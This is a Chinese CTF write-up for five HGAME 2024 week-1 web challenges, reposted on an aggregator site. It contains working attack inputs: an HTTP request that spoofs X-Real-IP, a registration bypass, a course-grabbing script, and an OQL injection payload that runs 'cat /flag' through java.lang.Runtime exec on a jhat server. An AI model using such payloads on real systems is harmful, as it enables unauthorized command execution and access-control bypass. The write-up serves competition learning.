【Web】小白也能看懂的HGAME week1个人wp(全)

2024-02-22 13:30

本文主要是介绍【Web】小白也能看懂的HGAME week1个人wp(全),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

ezHTTP

Bypass it

Select Courses

2048*16 

jhat


ezHTTP

exp 如下:
GET / HTTP/1.1
Host: 47.100.137.175:31717
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
X-Real-IP: 127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, / ;q=0.
8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Referer: vidar.club
Content-Length: 2

响应头jwt解密拿到flag

Bypass it

做题的时候直接禁用 js 秒杀就好,但写 wp 换种解法 , 以更深入了解过程。
一个登录框,无法进行注册,用 bp 抓包看看注册页面

只要访问register.php页面,然后post 账号和密码就可以注册完成 

注册成功,用账号密码登录。点这个拿到flag 

hgame{2c02d60e3aa76b219fa14ba060715b168110ed26} 

Select Courses

题目要选全部的课程,但是课都满选不上,发现后台随机一段时间会放出课来,通过抓包发现上传的是id 进行选课,写个脚本,过一段时间自动选课, exp 如下
import requests
import time
import json
url="http://47.100.137.175:31625/api/courses"headers = {"Content-Type": "application/json"}
cookie={"PHPSESSID=bc814effa5ab0eade406bfb65865ac5e"}for i in range(1,6):data={"id":i}for j in range(1000):time.sleep(0.5)r = requests.post(url=url, data=json.dumps(data), headers=headers)if ':1' not in r.text:print(str(i)+"课程抢课成功")print(r.text)breakurl2='http://47.100.137.175:31625/api/ok'
r2=requests.get(url)
print(r2.text)
运行一段时间得到

课都选满了,直接拿flag 

2048*16 

进入页面后看源码,游戏的逻辑代码在 index-_wkhdPNY.js 中,用浏览器调试,开发者模式。注意按以
下截图步骤,先访问网页,再调用开发者工具。

然后让程序一直执行,按F11步入,想快点的话,也可以点一个函数V,在任意处下断点

 然后继续分析代码,发现有个函数如下

函数的主要作用是将一个类似于游戏胜利的信息添加到 DOM 中。如果参数 x 为真,则会将 CSS 类"game-won" 添加到 DOM 元素中,否则会将变量 t 的值添加到 DOM 元素中。具体来说,代码中通过"add" 方法将类名 "game-won" 添加到 DOM 元素的 class 属性中,然后通过数组与索引的方式获取DOM 元素并设置其 textContent 属性为变量 t 的值。
注意 var n=h
进入 console 工作台,输入 s0(h(439),"V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") 直接调用,得到flag

jhat

题目提示 rce oql
因为 oql 这块不是很熟
结合关键字去找找有没有相关文章
OQL(对象查询语言)在产品实现中造成的RCE(Object Injection)
里面提到可以直接 rce
我们观察到 payload
java.lang.Runtime.getRuntime().exec('calc')
那么就是直接用 Runtime 来命令执行
直接输入 Runtime.getRuntime() 报错
全限定类名就行 java.lang.Runtime.getRuntime()
不出网不能反弹 shell, 经过尝试也不能写文件
考虑 BufferedReader 直接猜 flag 在根目录下于是最终 payload 如下
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine() 
 
拿到 flag:hgame{fe31b26ea50a080942180605d1e3de2784ba9a26}

这篇关于【Web】小白也能看懂的HGAME week1个人wp(全)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/735399

相关文章

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

使用DeepSeek搭建个人知识库(在笔记本电脑上)

《使用DeepSeek搭建个人知识库(在笔记本电脑上)》本文介绍了如何在笔记本电脑上使用DeepSeek和开源工具搭建个人知识库,通过安装DeepSeek和RAGFlow,并使用CherryStudi... 目录部署环境软件清单安装DeepSeek安装Cherry Studio安装RAGFlow设置知识库总

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)